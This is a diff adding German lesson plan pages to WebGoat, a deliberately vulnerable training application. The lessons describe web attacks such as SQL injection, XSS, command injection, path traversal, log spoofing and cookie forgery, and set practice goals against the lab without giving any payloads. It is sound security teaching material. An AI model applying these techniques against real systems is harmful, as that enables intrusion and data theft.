+Entwickler benutzen versteckte Formularfelder zur Besucherverfolgung, für den Login, für Preisinformationen und andere
+Informationen. Dies ist ein sehr einfacher und bequemer Mechnismus für Entwickler, allerdings werden die Werte
+diese Felder nur selten geprüft bevor sie benutzt werden. In dieser Lektion lernt man wie man versteckte Felder
+zu seinem Vorteil manipulieren kann.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+Nutzen Sie ein verstecktes Formularfeld aus, um den HD Fernseher zu einem falschen Preis zu kaufen.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/HtmlClues.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/HtmlClues.html
new file mode 100644
index 000000000..70d63e5ee
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/HtmlClues.html
@@ -0,0 +1,13 @@
+
+
Lehrplan: Nützliche Hinweise in HTML entdecken.
+
+
+
Konzept:
+
+ Entwickler lassen oftmals Kommentare wie FIXME's, TODO's, Code Broken, Hack usw. im Quellcode.
+ Durchsuchen Sie den Quellcode nach allem was für Sie nach Passwörtern, Hintertüren oder anderen Unregelmäßigkeiten aussieht.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+Sie suchen und finden Hinweise im Quellcode die es Ihnen erlauben sich anzumelden.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/HttpBasics.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/HttpBasics.html
new file mode 100644
index 000000000..995912eeb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/HttpBasics.html
@@ -0,0 +1,29 @@
+
+
Lehrplan: Http Basics
+
+
+
Lehrinhalt:
+ Diese Lektion stellt die Verständnis-Grundlagen für den Datentransport zwischen Browser und Webapplikation dar.
+
+
+So funktioniert HTTP:
+
+Alle HTTP Transaktionen folgen demselben Schema. Jede Anfrage vom Client und jede Antwort des Servers besteht aus drei Teilen: Der Anfrage-/Antwortzeile, dem Kopf und dem Körper.
+Der Client initiiert eine Transaktion wie folgt:
+
+ Der Client kontaktiert den Server und sendet eine Dokumentenanfrage
+
+
+
GET /index.html?param=value HTTP/1.0
+ Als nächstes sendet der Client optionale Kopfzeilen (Header) um den Server über die Client-seitige Konfiguration und die akzeptierten Dokumentenformate zu informieren.
+
+
+Nachdem der eigentliche Anfrage (Request) und den weiteren Kopfzeilen (Header) kann der Client noch weitere Daten senden. Diese Daten werden meistens von CGI Programmen im Zusammenhang mit der POST Methode ausgewertet.
+
+
Grundsätzliche(s) Ziel(e):
+
+Geben Sie Ihren Namen in das Eingabefeld ein und drücken sie "Los gehts!" um die Anfrage abzuschicken. Der Server wird die Anfrage akzeptieren, Ihre Eingabedaten umdrehen, und wieder zu Ihnen zurückschicken. Dies stellt eine vollständige HTTP Transaktion dar!
+
+Sie sollten mit der Benutzung von WebGoat vertraut werden. Es sollten die Knöpfe für Hinweise (Hints), für das Anzeigen von Parametern(Parameters) oder Cookies und für das Anzeigen von Java-Quellcode ausprobiert werden.
+Außerdem, können Sie hier WebScarab gut ausprobieren.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/JavaScriptValidation.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/JavaScriptValidation.html
new file mode 100644
index 000000000..f278bc9d9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/JavaScriptValidation.html
@@ -0,0 +1,19 @@
+
+
+Client-seitige Validierung sollte nicht als eine sichere Maßnahme zur Validierung von Parametern angesehen werden.
+Diese Art der Validierung kann höchstens den Server entlasten und verhindern das normale Benutzer Eingabedaten in
+einem falschen Format absenden. Angreifer hingegen, können diesen Mechanismus auf verschiedene Arten umgehen. Jede
+Client-seitige Validierung sollte auf der Serverseite wiederholt werden. Dies verhindert, dass unsichere Parameter
+in der Applikation benutzt werden.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular verlangt von Ihnen verschiedene Regeln beim Ausfüllen einzuhalten. Dies wird Client-seitig
+überprüft. Versuchen Sie diese
+Regeln zu brechen und senden Sie Daten an die Webseite die die Webseite nicht erwartet! Sie müssen alle 7 Regeln
+gleichzeitig brechen!
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/LogSpoofing.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/LogSpoofing.html
new file mode 100644
index 000000000..c5bbff3b0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/LogSpoofing.html
@@ -0,0 +1,17 @@
+
+
Lehrplan: Fälschen von Einträgen in Log Dateien (Log Spoofing)
+
+
+
Konzept:
+
+Log-Einträge in Log-Dateien müssen nicht immer von tatsächlichen Ereignissen stammen. Ein Angreifer kann durch Einschleusen
+bestimmter Einträge das Eintreten bestimmter Ereignisse vortäuschen und dadurch den Administrator zu unnötigen bzw. voreiligen
+Handlungen verleiten bzw. ihn einfach nur verwirren.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+* Der graue Bereich steht für das was tatsächlich in der Log-Datei des Webservers erscheint.
+* Ihr Ziel ist es so aussehen zu lassen, als hätte sich der Benutzer "admin" erfolgreich eingeloggt.
+* Verbessern Sie Ihren Angriff, indem Sie ein Skript (Javascript) in das Log schreiben.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html
new file mode 100644
index 000000000..c7afce017
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html
@@ -0,0 +1,11 @@
+
+
Lehrplan: Umgehen eines Pfad-basierten Zugangskontrollschemas
+
+
Konzept:
+
+In einem Pfad-basierten Zugangangskontrollschemas (path based access control scheme), kann ein Angreifer den Pfad "bewandern" indem
+er relative Pfadangaben übergibt. Dadurch kann der Angreifer auf Dateien zugreifen, die für niemanden zugänglich sind, bzw. zu denen
+der Zugang bei direkter Anfrage ansonsten abgelehnt würde.
+
+
Grundsätzliche(s) Ziel(e):
+Sie sollten in der Lage sein auf eine Datei zuzugreifen die sich nicht im aufgelisteten Verzeichnis befindet.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/ReflectedXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/ReflectedXSS.html
new file mode 100644
index 000000000..60f5e0e80
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/ReflectedXSS.html
@@ -0,0 +1,19 @@
+
+
Lehrplan: Cross Site Scripting (XSS)
+
+
Konzept:
+
+Jegliche Eingabedaten sollten auf der Serverseite überprüft werden.
+XSS passiert wenn nicht geprüfte Benutereingaben in eine HTTP Response eingebaut werden.
+Bei einem reflektierten XSS Angriff, kann ein Angreifer eine URL erzeugen die ein Angriffsskript enthält und kann diese
+URL auf einer Webseite hinterlegen, sie per Email verschicken oder ein Opfer auf eine andere Weise dazu bringen die
+URL zu besuchen.
+
+
+
+
General Goal(s):
+
+Ihre Aufgabe ist es, sich ein Stück Javascript zu überlegen das Sie in diese Seite einbauen können.
+Dann versuchen Sie die Seite dazu zu bringen, Ihnen dieses Skript wieder auszulieferen (es zu reflektieren)
+so dass das Skript in Ihrem Browser ausgeführt wird.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html
new file mode 100644
index 000000000..dbaaeb3c3
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Zugang zu Web-Resourcen erzwingen
+
+
Konzept::
+Applikationen haben oftmals eine Administrationsschnittstelle, das priviligierten Benutzern Zugang zu Funktionalität ermöglicht die
+für normale Benutzer nicht sichtbar ist. Der Applikationsserver selbst hat auch oft noch eine seperate Administrationsschnittstelle.
+
+
Grundsätzliche(s) Ziel(e):
+
+Versuchen Sie auf die Administrationsschnittstelle von WebGoat zuzugreifen. Sie können auch versuchen auf die Administrationsschnittstelle
+von Tomcat (der Applikationsserver) zuzugreifen. Die Tomcat Schnittstelle kann über die URL /admin erreicht werden, zählt aber nicht
+für das Bestehen dieser Lektion.
+Wenn Sie Zugriff auf Funktionalität der Administrationsschnittstelle erlangt haben, dann kommen Sie hierher zurück um zu sehen ob Sie
+die Lektion abgeschlossen haben.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlNumericInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlNumericInjection.html
new file mode 100644
index 000000000..ad9e7cc41
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlNumericInjection.html
@@ -0,0 +1,18 @@
+
+
Lehrplan: Durchführung von Numeric SQL Injection
+
+
+
Konzept:
+SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar.
+Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der
+Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular ermöglicht es dem Benutzer Wetterdaten zu betrachten. Versuchen Sie einen SQL String einzuschleusen, der
+als Resultat alle Wetterdaten anzeigt.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlStringInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlStringInjection.html
new file mode 100644
index 000000000..0cd360db7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/SqlStringInjection.html
@@ -0,0 +1,20 @@
+
+
Lehrplan: Durchführung von String SQL Injection
+
+
+
Konzept:
+
+SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar.
+Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der
+Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular erlaubt es Benutzern ihre Kreditkartennummern anzuzeigen. Das können Sie
+exemplarisch mit dem Benutzernamen "Smith" ausprobieren.
+Versuchen Sie einen SQL String einzuschleusen, der als Resultat alle Kreditkartennummern anzeigt.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/StoredXss.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/StoredXss.html
new file mode 100644
index 000000000..74463c949
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/StoredXss.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Durchführen von Stored Cross Site Scripting (XSS)
+
+
Konzept:
+
+Man sollte Eingabedaten immer säubern, besonders diese die später als parameter für Betriebssystembefehle, Skripte
+und Datenbankabfragen benutzt werden. Essentiell ist das für Inhalt der irgendwo in der Applikation permanent gespeichert
+wird. Benutzer sollten nicht in der Lage sein eigene Inhalte zu hinterlassen, durch die andere Nutzer ungewünschte
+Seiten oder Inhalte nachladen wenn der Inhalt betrachtet wird.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+Hinterlassen Sie Inhalt der den Browser eines anderen Benutzers dazu bringt eine unerwünschte
+Seite bzw. Inhalt anzuzeigen.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html
new file mode 100644
index 000000000..5475df32c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html
@@ -0,0 +1,22 @@
+
+
Lehrplan: Einen Authentisierungs Cookie fa¨lschen
+
+
+
Lehrinhalt:
+
+Viele Webapplikationen erlauben es einem Benutzer sofort eingeloggt zu sein, sobald der Benutzer den richtigen Authentisierungs Cookie übergibt.
+Manchmal kann der richtige Wert dieses Cookies geraten werden, wenn der Algorithmus zur Generierung dieser Cookies bekannt ist.
+Der Cookie kann auch von dem Computer des Benutzers gestohlen werden indem andere Schwachstellen in seinem System ausgenutzt werden.
+Mittels Cross Site Scripting (XSS) kann der Cookie auch abgefangen werden.
+Diese Übung soll Sie auf das Thema der Authentisierungs Cookies aufmerksam machen und gibt Ihnen
+die Möglichkeit die Authentisierungsmethode dieser Lektion zu überwinden.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+
+ Es ist Ihre Aufgabe die Authentisierung zu umgehen. Melden Sie sich mit dem Benutzernamen "webgoat" und dem Passwort "webgoat" an
+ und schauen Sie was passiert. Sie können auch versuchen Sich mit aspect/aspect anzumelden. Wenn Sie den Authentisierungs Cookie verstehen,
+ versuchen Sie Ihre Identität zu "alice" zu wechseln.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/BasicAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/BasicAuthentication.html
new file mode 100644
index 000000000..65490ef0c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/BasicAuthentication.html
@@ -0,0 +1,15 @@
+
+
Lehrplan: Basic Authentication
+
+
Lehrinhalt:
+
+"Basic Authentication" wird benutzt um Server-seitige Resource zu schützen. Wird eine Anfrage an eine geschützte Resource gestellt, so sendet der Webserver ein "401 authentication request" mit der Antwort auf diese Anfrage.
+Dann fragt, auf der Client Seite, der Browser den Benutzer mittels einer Dialogbox nach Benutzername und Passwort für diese Resource.
+Der Browser enkodiert Benutzername und Passwort mit base64 und sendet diese Zugangsdaten zum Webserver.
+Daraufhin validiert der Webserver Benutzername und Passwort und gibt als Antwort die angeforderte Resource zurück falls die übermittelten Zugangsdaten korrekt sind.
+Die Zugangsdaten werden vom Browser bei jedem weiteren Zugriff auf geschützte Resourcen mitgesendet ohne dass der Benutzer
+sie ein weiteres Mal eingeben muss.
+
+
Grundsätzliche(s) Ziel(e):
+Das Ziel dieser Lektion ist es "Basic Authentication" zu verstehen und die folgenden Fragen zu beantworten.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/CommandInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/CommandInjection.html
new file mode 100644
index 000000000..a8de365cb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/CommandInjection.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Einschleusen von Programmcode
+
+
Konzept:
+
+Das Einschleusen von Programmcode stellt eine ernst zu nehmende Bedrohung für dynamische Webseiten dar. Entsprechende Angriffe
+sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Schleusen Sie einen Befehl in das darunterliegende Betriebssystem ein.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html
new file mode 100644
index 000000000..c4606ac75
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html
@@ -0,0 +1,14 @@
+
+
Lehrplan: Versteckte Felder ausnutzen
+
+
Konzept:
+
+Entwickler benutzen versteckte Formularfelder zur Besucherverfolgung, für den Login, für Preisinformationen und andere
+Informationen. Dies ist ein sehr einfacher und bequemer Mechnismus für Entwickler, allerdings werden die Werte
+diese Felder nur selten geprüft bevor sie benutzt werden. In dieser Lektion lernt man wie man versteckte Felder
+zu seinem Vorteil manipulieren kann.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+Nutzen Sie ein verstecktes Formularfeld aus, um den HD Fernseher zu einem falschen Preis zu kaufen.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/HtmlClues.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/HtmlClues.html
new file mode 100644
index 000000000..70d63e5ee
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/HtmlClues.html
@@ -0,0 +1,13 @@
+
+
Lehrplan: Nützliche Hinweise in HTML entdecken.
+
+
+
Konzept:
+
+ Entwickler lassen oftmals Kommentare wie FIXME's, TODO's, Code Broken, Hack usw. im Quellcode.
+ Durchsuchen Sie den Quellcode nach allem was für Sie nach Passwörtern, Hintertüren oder anderen Unregelmäßigkeiten aussieht.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+Sie suchen und finden Hinweise im Quellcode die es Ihnen erlauben sich anzumelden.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/HttpBasics.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/HttpBasics.html
new file mode 100644
index 000000000..995912eeb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/HttpBasics.html
@@ -0,0 +1,29 @@
+
+
Lehrplan: Http Basics
+
+
+
Lehrinhalt:
+ Diese Lektion stellt die Verständnis-Grundlagen für den Datentransport zwischen Browser und Webapplikation dar.
+
+
+So funktioniert HTTP:
+
+Alle HTTP Transaktionen folgen demselben Schema. Jede Anfrage vom Client und jede Antwort des Servers besteht aus drei Teilen: Der Anfrage-/Antwortzeile, dem Kopf und dem Körper.
+Der Client initiiert eine Transaktion wie folgt:
+
+ Der Client kontaktiert den Server und sendet eine Dokumentenanfrage
+
+
+
GET /index.html?param=value HTTP/1.0
+ Als nächstes sendet der Client optionale Kopfzeilen (Header) um den Server über die Client-seitige Konfiguration und die akzeptierten Dokumentenformate zu informieren.
+
+
+Nachdem der eigentliche Anfrage (Request) und den weiteren Kopfzeilen (Header) kann der Client noch weitere Daten senden. Diese Daten werden meistens von CGI Programmen im Zusammenhang mit der POST Methode ausgewertet.
+
+
Grundsätzliche(s) Ziel(e):
+
+Geben Sie Ihren Namen in das Eingabefeld ein und drücken sie "Los gehts!" um die Anfrage abzuschicken. Der Server wird die Anfrage akzeptieren, Ihre Eingabedaten umdrehen, und wieder zu Ihnen zurückschicken. Dies stellt eine vollständige HTTP Transaktion dar!
+
+Sie sollten mit der Benutzung von WebGoat vertraut werden. Es sollten die Knöpfe für Hinweise (Hints), für das Anzeigen von Parametern(Parameters) oder Cookies und für das Anzeigen von Java-Quellcode ausprobiert werden.
+Außerdem, können Sie hier WebScarab gut ausprobieren.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/JavaScriptValidation.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/JavaScriptValidation.html
new file mode 100644
index 000000000..f278bc9d9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/JavaScriptValidation.html
@@ -0,0 +1,19 @@
+
+
+Client-seitige Validierung sollte nicht als eine sichere Maßnahme zur Validierung von Parametern angesehen werden.
+Diese Art der Validierung kann höchstens den Server entlasten und verhindern das normale Benutzer Eingabedaten in
+einem falschen Format absenden. Angreifer hingegen, können diesen Mechanismus auf verschiedene Arten umgehen. Jede
+Client-seitige Validierung sollte auf der Serverseite wiederholt werden. Dies verhindert, dass unsichere Parameter
+in der Applikation benutzt werden.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular verlangt von Ihnen verschiedene Regeln beim Ausfüllen einzuhalten. Dies wird Client-seitig
+überprüft. Versuchen Sie diese
+Regeln zu brechen und senden Sie Daten an die Webseite die die Webseite nicht erwartet! Sie müssen alle 7 Regeln
+gleichzeitig brechen!
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/LogSpoofing.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/LogSpoofing.html
new file mode 100644
index 000000000..c5bbff3b0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/LogSpoofing.html
@@ -0,0 +1,17 @@
+
+
Lehrplan: Fälschen von Einträgen in Log Dateien (Log Spoofing)
+
+
+
Konzept:
+
+Log-Einträge in Log-Dateien müssen nicht immer von tatsächlichen Ereignissen stammen. Ein Angreifer kann durch Einschleusen
+bestimmter Einträge das Eintreten bestimmter Ereignisse vortäuschen und dadurch den Administrator zu unnötigen bzw. voreiligen
+Handlungen verleiten bzw. ihn einfach nur verwirren.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+* Der graue Bereich steht für das was tatsächlich in der Log-Datei des Webservers erscheint.
+* Ihr Ziel ist es so aussehen zu lassen, als hätte sich der Benutzer "admin" erfolgreich eingeloggt.
+* Verbessern Sie Ihren Angriff, indem Sie ein Skript (Javascript) in das Log schreiben.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html
new file mode 100644
index 000000000..c7afce017
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html
@@ -0,0 +1,11 @@
+
+
Lehrplan: Umgehen eines Pfad-basierten Zugangskontrollschemas
+
+
Konzept:
+
+In einem Pfad-basierten Zugangangskontrollschemas (path based access control scheme), kann ein Angreifer den Pfad "bewandern" indem
+er relative Pfadangaben übergibt. Dadurch kann der Angreifer auf Dateien zugreifen, die für niemanden zugänglich sind, bzw. zu denen
+der Zugang bei direkter Anfrage ansonsten abgelehnt würde.
+
+
Grundsätzliche(s) Ziel(e):
+Sie sollten in der Lage sein auf eine Datei zuzugreifen die sich nicht im aufgelisteten Verzeichnis befindet.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/ReflectedXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/ReflectedXSS.html
new file mode 100644
index 000000000..60f5e0e80
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/ReflectedXSS.html
@@ -0,0 +1,19 @@
+
+
Lehrplan: Cross Site Scripting (XSS)
+
+
Konzept:
+
+Jegliche Eingabedaten sollten auf der Serverseite überprüft werden.
+XSS passiert wenn nicht geprüfte Benutereingaben in eine HTTP Response eingebaut werden.
+Bei einem reflektierten XSS Angriff, kann ein Angreifer eine URL erzeugen die ein Angriffsskript enthält und kann diese
+URL auf einer Webseite hinterlegen, sie per Email verschicken oder ein Opfer auf eine andere Weise dazu bringen die
+URL zu besuchen.
+
+
+
+
General Goal(s):
+
+Ihre Aufgabe ist es, sich ein Stück Javascript zu überlegen das Sie in diese Seite einbauen können.
+Dann versuchen Sie die Seite dazu zu bringen, Ihnen dieses Skript wieder auszulieferen (es zu reflektieren)
+so dass das Skript in Ihrem Browser ausgeführt wird.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html
new file mode 100644
index 000000000..dbaaeb3c3
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Zugang zu Web-Resourcen erzwingen
+
+
Konzept::
+Applikationen haben oftmals eine Administrationsschnittstelle, das priviligierten Benutzern Zugang zu Funktionalität ermöglicht die
+für normale Benutzer nicht sichtbar ist. Der Applikationsserver selbst hat auch oft noch eine seperate Administrationsschnittstelle.
+
+
Grundsätzliche(s) Ziel(e):
+
+Versuchen Sie auf die Administrationsschnittstelle von WebGoat zuzugreifen. Sie können auch versuchen auf die Administrationsschnittstelle
+von Tomcat (der Applikationsserver) zuzugreifen. Die Tomcat Schnittstelle kann über die URL /admin erreicht werden, zählt aber nicht
+für das Bestehen dieser Lektion.
+Wenn Sie Zugriff auf Funktionalität der Administrationsschnittstelle erlangt haben, dann kommen Sie hierher zurück um zu sehen ob Sie
+die Lektion abgeschlossen haben.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlNumericInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlNumericInjection.html
new file mode 100644
index 000000000..ad9e7cc41
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlNumericInjection.html
@@ -0,0 +1,18 @@
+
+
Lehrplan: Durchführung von Numeric SQL Injection
+
+
+
Konzept:
+SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar.
+Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der
+Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular ermöglicht es dem Benutzer Wetterdaten zu betrachten. Versuchen Sie einen SQL String einzuschleusen, der
+als Resultat alle Wetterdaten anzeigt.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlStringInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlStringInjection.html
new file mode 100644
index 000000000..0cd360db7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/SqlStringInjection.html
@@ -0,0 +1,20 @@
+
+
Lehrplan: Durchführung von String SQL Injection
+
+
+
Konzept:
+
+SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar.
+Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der
+Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Das untenstehende Formular erlaubt es Benutzern ihre Kreditkartennummern anzuzeigen. Das können Sie
+exemplarisch mit dem Benutzernamen "Smith" ausprobieren.
+Versuchen Sie einen SQL String einzuschleusen, der als Resultat alle Kreditkartennummern anzeigt.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/StoredXss.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/StoredXss.html
new file mode 100644
index 000000000..74463c949
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/StoredXss.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Durchführen von Stored Cross Site Scripting (XSS)
+
+
Konzept:
+
+Man sollte Eingabedaten immer säubern, besonders diese die später als parameter für Betriebssystembefehle, Skripte
+und Datenbankabfragen benutzt werden. Essentiell ist das für Inhalt der irgendwo in der Applikation permanent gespeichert
+wird. Benutzer sollten nicht in der Lage sein eigene Inhalte zu hinterlassen, durch die andere Nutzer ungewünschte
+Seiten oder Inhalte nachladen wenn der Inhalt betrachtet wird.
+
+
+
Grundsätzliche(s) Ziel(e):
+
+Hinterlassen Sie Inhalt der den Browser eines anderen Benutzers dazu bringt eine unerwünschte
+Seite bzw. Inhalt anzuzeigen.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html b/webgoat-5.4/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html
new file mode 100644
index 000000000..5475df32c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/de/WeakAuthenticationCookie.html
@@ -0,0 +1,22 @@
+
+
Lehrplan: Einen Authentisierungs Cookie fa¨lschen
+
+
+
Lehrinhalt:
+
+Viele Webapplikationen erlauben es einem Benutzer sofort eingeloggt zu sein, sobald der Benutzer den richtigen Authentisierungs Cookie übergibt.
+Manchmal kann der richtige Wert dieses Cookies geraten werden, wenn der Algorithmus zur Generierung dieser Cookies bekannt ist.
+Der Cookie kann auch von dem Computer des Benutzers gestohlen werden indem andere Schwachstellen in seinem System ausgenutzt werden.
